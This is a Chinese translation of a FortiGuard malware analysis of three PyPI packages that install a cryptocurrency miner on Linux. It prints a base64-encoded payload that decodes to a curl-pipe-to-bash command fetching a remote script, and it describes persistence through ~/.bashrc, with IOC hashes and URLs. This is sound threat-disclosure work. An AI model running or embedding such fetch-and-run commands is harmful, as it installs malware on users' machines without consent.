概述
2023 年12月5日,FortiGuard 的 AI 驱动的 OSS 恶意软件检测系统识别出三个有趣的 PyPI(Python 包索引)包。这些软件包在初次使用时会在 Linux 设备上部署 CoinMiner 可执行文件。利用我们的历史恶意软件数据库,我们注意到这些包的入侵指标 (IoC) 与今年 9 月初发现的“culturestreak”PyPI 包相似。Checkmarx的一篇博客文章中详细介绍了“culturestreak”的攻击模式。在本次分析中,我们介绍了这三个新包的攻击阶段,重点关注它们与“文化连胜”相比的相似性和发展。
这三个有害的软件包分别命名为 modularseven-1.0、driftme-1.0 和 catme-1.0。它们都来自同一个作者,称为“sastra”,他在上传第一个恶意包前不久创建了一个 PyPI 帐户。
图 1:作者的 PyPI 帐户
攻击阶段
这些包都表现出一种常见的攻击方法,因此我们将以 driftme-1.0 为例来说明攻击的各个阶段。与早期的“culturestreak”包的方法相呼应,这些包隐藏了其有效负载,通过将恶意代码托管在远程 URL 上,有效地降低了恶意代码的可检测性。然后,有效负载在各个阶段逐步释放,以执行其恶意活动。
恶意活动是由__init__.py文件中的“import”语句触发的:
图 2:driftme-1.0/driftme/__init__.py
processor.py 模块包含恶意负载的第一阶段:
图 3:processor.py
通过调用 processing() 函数,它对字符串进行解码
Y3VybCBodHRwczovL3BhcGljdWxvLm5ldC91bm1pLnNoIHwgYmFzaA==
转换为使用 curl 从指定 URL 获取内容的 shell 命令。然后,它将该内容直接通过管道传递到 Bash shell,该 shell 执行以下脚本:
图 4:解码的 base64 字符串
查看“unmi.sh”脚本,我们发现它包含恶意负载的第二阶段:
图 5:unmi.sh
利用“unmi.sh”脚本,攻击者将两个关键项目下载到用户的设备上:
第一个是“config.json”,这是执行将要安装的程序所需的配置文件。此文件概述了加密货币挖矿设置。具体来说,它决定了挖矿算法,即 randomX、挖矿操作的设备资源设置、指定的挖矿“池”以及受益人的钱包账户。值得注意的是,攻击者选择禁用“init-avx2”功能,大概是为了确保与旧设备的兼容性。
图 6:挖掘算法和设备资源的设置
图7:矿池设置
有效负载的第二个关键组件是 CoinMiner 可执行文件:
与配置文件类似,此可执行文件也托管在远程地址:
hxxps://gitlab.com/ajo9082734/Mine/-/raw/main/X
一旦从远程 URL 下载可执行文件并标记为可执行文件,攻击者就会使用“nohup”命令在后台执行它。这可确保进程在终端会话之后保持活动状态。最具欺骗性的方面是,攻击者确保将所有这些修改附加到 ~/.bashrc 文件中,从而确保每当用户启动新的 Bash shell 会话时重新激活此恶意活动。
在此过程中检索到的 coinMiner ELF 文件对安全社区来说并不新鲜。它最初在 2021 上传到 VirusTotal (VT)。目前,VT 上的大量供应商将有效负载识别为恶意。
图 8:VirusTotal 对下载的可执行文件的扫描结果
与“culturestreak”的比较
相似:
本博客中讨论的三个包具有类似于“culturestreak”的 IOC:
- 用于运行可执行文件的配置文件托管在域“papiculo.net”上。
- 硬币挖矿可执行文件托管在公共 GitLab 存储库上。尽管在其博客中托管恶意可执行文件的帐户 Aldri Terakhir(@aldriterakhir,用户 ID:12350673)在发布新的三个示例集时已被阻止,但同一恶意行为者可能已将该帐户的所有内容迁移到新帐户 Zela Najo(@zelanajo,用户 ID:15638540)。
图 9:“culturestreak”软件包的主要恶意文件,与“driftme”软件包的主要恶意文件相比,它看起来更加可疑。
优点:
与“culturestreak”相比,这三个软件包在隐藏其存在和维持其恶意功能方面展示了增强的策略。一个关键的增强功能是引入了一个额外的阶段,其中恶意操作的关键命令存储在远程服务器上的“unmi.sh”文件中。这种策略通过最小化 PyPI 包中的代码来提高逃避安全解决方案检测的几率。它还允许通过简单地禁用托管此“unmi.sh”脚本的服务器来更受控地披露恶意代码。
此外,该恶意软件将恶意命令插入到 ~/.bashrc 文件中。这一添加确保了恶意软件在用户设备上的持久性和重新激活,从而有效地延长了其秘密操作的持续时间。这种策略有助于长时间、隐蔽地利用用户的设备,以谋取攻击者的利益。
结论
我们从这组特定的软件包中观察到的一个显着趋势是,恶意行为者不断改进他们的策略,以隐藏和延长利用过程。本博客中讨论的一个基本策略是将整个恶意工作流程分解为更小的阶段,并逐步释放它们。对于安全社区来说,检测细微恶意指标的能力变得至关重要。
此外,这提醒我们彻底审查来自未经验证或可疑来源的代码和包并充分了解潜在威胁的至关重要性。
IOC
070128a5b4e1aecb61b59f3f8ef2602e63cd1e5357f1314080a7c8a4960b0bee unmi.sh
4b439d8cabc5e4ad593a26065e6d374efdddf41c8d91744b077a69812df170d2 modularseven-1.0/modularseven/processor.py
687fb012479e563be63e02718eb7be7ee81974193c952777ca94234c95b25115 driftme-1.0/driftme/processor.py
235b1ad3d21e7330d421c9a03b6b822fcdddacaa707bed9d67dabd43d4401fc6 catme-1.0/catme/processor.py
df0211bf54174b5766366eecfb0a04c4a59346478e1507b6685fbaed6b2d2aca tmp/X
URL
hxxps[:]//papiculo[.]net/unmi[.]sh
hxxps[:]//papiculo[.]net/unmiconfig[.]json
hxxps[:]//gitlab[.]com/ajo9082734/Mine/-/raw/main/X
参考链接:https://www.fortinet.com/blog/threat-research/malicious-pypi-packages-deploy-coinminer-on-linux-devices
图片来源网络目标可联系删除